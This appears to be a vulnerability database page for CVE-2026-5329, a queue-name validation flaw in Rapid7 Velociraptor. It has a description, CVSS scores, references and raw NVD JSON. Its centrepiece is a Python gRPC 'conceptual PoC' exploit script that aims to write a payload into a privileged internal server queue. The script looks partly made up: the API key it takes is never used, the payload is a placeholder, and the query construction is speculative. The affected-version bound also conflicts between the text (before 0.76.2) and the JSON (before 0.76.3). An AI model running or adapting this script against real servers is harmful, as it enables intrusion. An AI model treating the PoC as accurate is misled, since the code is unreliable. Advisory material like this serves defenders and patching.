CVE-2026-5329

Description

Rapid7 Velociraptor versions prior to 0.76.2 contain an improper input validation vulnerability in the client monitoring message handler on the Velociraptor server (primarily Linux) that allows an authenticated remote attacker to write to arbitrary internal server queues via a crafted monitoring message with a malicious queue name. The server handler that receives client monitoring messages does not sufficiently validate the queue name supplied by the client, allowing a rogue client to write arbitrary messages to privileged internal queues. This may lead to remote code execution on the Velociraptor server. Rapid7 Hosted Velociraptor instances are not affected by this vulnerability.

CVSS Details

CVSS Score

8.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:rapid7:velociraptor:*:*:*:*:*:*:*:* - VULNERABLE

Rapid7 Velociraptor < 0.76.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# This is a conceptual PoC for CVE-2026-5329
# It demonstrates how a crafted monitoring message might be sent.

import grpc
import velociraptor_pb2
import velociraptor_pb2_grpc

class Exploit:
    def __init__(self, host, port, api_key):
        self.host = host
        self.port = port
        self.api_key = api_key
        self.channel = grpc.insecure_channel(f'{host}:{port}')
        self.stub = velociraptor_pb2_grpc.APIStub(self.channel)

    def send_malicious_message(self, malicious_queue_name, payload):
        # Construct a monitoring message
        # The vulnerability lies in 'queue_name' not being validated
        message = velociraptor_pb2.VQLClientArgs(
            Query=f"SELECT * FROM monitoring_message(queue='{malicious_queue_name}', data='{payload}')"
        )
        
        try:
            response = self.stub.Query(message)
            print(f"[+] Payload sent to internal queue: {malicious_queue_name}")
            print(f"[+] Response: {response}")
        except Exception as e:
            print(f"[-] Error: {e}")

if __name__ == "__main__":
    # Example usage
    # Targeting a hypothetical internal privileged queue
    TARGET_QUEUE = "System.Queue.Manager.Internal" 
    PAYLOAD = "malicious_command_to_execute"
    
    exp = Exploit("127.0.0.1", 8001, "VALID_API_KEY")
    exp.send_malicious_message(TARGET_QUEUE, PAYLOAD)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-5329
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-5329
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-5329/
[4] VulDB https://vuldb.com/cve/CVE-2026-5329
[5] https://docs.velociraptor.app/announcements/advisories/cve-2026-5329/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-5329", "sourceIdentifier": "[email protected]", "published": "2026-04-09T18:17:04.253", "lastModified": "2026-04-28T00:09:51.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Rapid7 Velociraptor versions prior to 0.76.2 contain an improper input validation vulnerability in the client monitoring message handler on the Velociraptor server (primarily Linux) that allows an authenticated remote attacker to write to arbitrary internal server queues via a crafted monitoring message with a malicious queue name. The server handler that receives client monitoring messages does not sufficiently validate the queue name supplied by the client, allowing a rogue client to write arbitrary messages to privileged internal queues. This may lead to remote code execution on the Velociraptor server. Rapid7 Hosted Velociraptor instances are not affected by this vulnerability."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rapid7:velociraptor:*:*:*:*:*:*:*:*", "versionEndIncluding": "0.75.6", "matchCriteriaId": "BAC49A9C-FD09-45D6-9493-5DA3AFF9E3AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rapid7:velociraptor:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.76", "versionEndExcluding": "0.76.3", "matchCriteriaId": "35A554F9-5926-43C1-B906-BDB41CB36CB3"}]}]}], "references": [{"url": "https://docs.velociraptor.app/announcements/advisories/cve-2026-5329/", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}